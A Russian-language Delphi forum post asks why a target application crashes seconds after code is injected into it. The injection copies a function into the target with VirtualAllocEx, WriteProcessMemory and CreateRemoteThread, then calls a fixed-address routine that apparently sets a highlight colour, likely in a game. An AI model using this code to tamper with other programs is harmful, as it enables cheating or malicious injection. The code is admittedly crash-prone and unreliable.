27.03.2017, 18:04
|
Прохожий
|
|
Регистрация: 18.12.2016
Сообщения: 2
Версия Delphi: Delphi 7
Репутация: 10
|
|
CreateRemoteThread - краш целового приложения
Доброго времени суток участники форума.
Возникла проблема, которую не знаю как исправить.
Алгоритм:
Вызов функции чужого адресного пространства по указателю и передача ей параметров без использования библиотеки.
Рабочий вариант, только спустя успешного выполнения функции с моими параметрами, проходит 5-6 секунд и крашит.
Код:
type TShilutefn = function(id: Integer; r, g, b, alpha: real; k, d: boolean; s: real): integer; stdcall;
procedure ISetShilute(oShilute: TShilutefn); stdcall; //Функция что выполняется в памяти.
begin
oShilute := Pointer($06D8ED0); //Указатель (имеет статистическое значение)
oShilute(30583, 1, 0, 0, 0.9, false, false, 999);
end;
function AllocAndCopyMem(hProcess: dword; ptBuffer: Pointer; iBuffSize: Int64): Pointer;
var
Write: Cardinal;
begin
WinHandle:= OpenProcess(PROCESS_ALL_ACCESS,False,hProcess);
Write := 0;
Result := VirtualAllocEx(hProcess, nil, iBuffSize, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, Result, ptBuffer, iBuffSize, Write);
end;
procedure SetShilute(hProcess: dword);
var
tInj: TShilutefn;
ptStruct: Pointer;
uTamFun: UINT;
ptEsp: Pointer;
hThread: THandle;
begin
hProcess:= OpenProcess(PROCESS_ALL_ACCESS,False,hProcess);
ptStruct := AllocAndCopyMem(hProcess, @tInj, Sizeof(@tInj));
uTamFun := UINT(@SetShilute) - UINT(@ISetShilute);
ptEsp := AllocAndCopyMem(hProcess, @ISetShilute, uTamFun);
hThread := CreateRemoteThread(hProcess, nil, 0, ptEsp, ptStruct, 0, PDWORD(nil)^);
if hThread <> 0 then begin
CloseHandle(hThread);
//VirtualFreeEx(hProcess, ptStruct, 0, MEM_RELEASE);
//VirtualFreeEx(hProcess, ptEsp, 0, MEM_RELEASE);
end;
end;
Виде библиотеки работает идеально, но мне надо в приложении.
Надеюсь на вашу помощь! За ранее огромное спасибо!
|